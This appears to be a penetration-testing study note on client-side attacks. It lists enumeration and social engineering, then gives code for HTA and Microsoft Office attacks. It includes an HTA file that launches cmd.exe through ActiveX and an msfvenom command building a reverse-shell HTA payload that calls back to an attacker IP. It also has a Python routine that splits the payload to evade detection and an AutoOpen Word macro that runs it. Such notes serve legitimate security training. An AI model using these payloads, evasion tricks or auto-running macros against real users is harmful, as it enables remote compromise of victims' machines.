Client Side Attacks

Enumeration

  • Passive Enumeration:

    • Identify the victim's browser.

  • Active Enumeration:

    • Social Engineering:

      • Craft messages or scenarios to manipulate users into revealing sensitive information or performing actions.

Leveraging HTML Apps

  • Tool: fingerprintjs2

    • A JavaScript library to uniquely identify a browser based on its features.

  • HTA Attack:

    • Create an HTA (HTML Application) to execute malicious scripts.

      • Example HTA file (file.hta):

        <!DOCTYPE html>
<html>
<head>
    <script>
    var x='cmd.exe'
    new ActiveXObject('WScript.shell').Run(x);
    </script>
</head>
<body>
    <script> self.close() </script> 
</body>
</html>

      • Copy the HTA file to a web server:

        sudo cp file.hta /var/www/html/file2.hta

      • Generate an HTA payload with msfvenom:

        sudo msfvenom -p windows/shell_reverse_tcp LHOST=192.168.114.134 LPORT=4444 -f hta-psh -o /var/www/html/evil.hta

Exploiting Microsoft Office

  • Word Macro:

    • Split the payload to evade detection.

      str="" # payload from msfvenom
n=50
for i in range(0,len(str),n):
    print "str = Str +" + '"' + str[i:i+n] + '"'

    • Add the split payload to a Word Macro (document.docm).

      Sub AutoOpen()
    test1
End Sub

Sub Doc_Open()
    test1
End Sub

Sub test1()
    Dim Str As String
    ' Add the splitted payload here
    CreateObject("Wscript.shell").Run Str
End Sub

  • Object Linking and Embedding (OLE):

    • Create an evil batch file (evil.bat).

    • Create a link object in the Word document (document.docm).

Resources:

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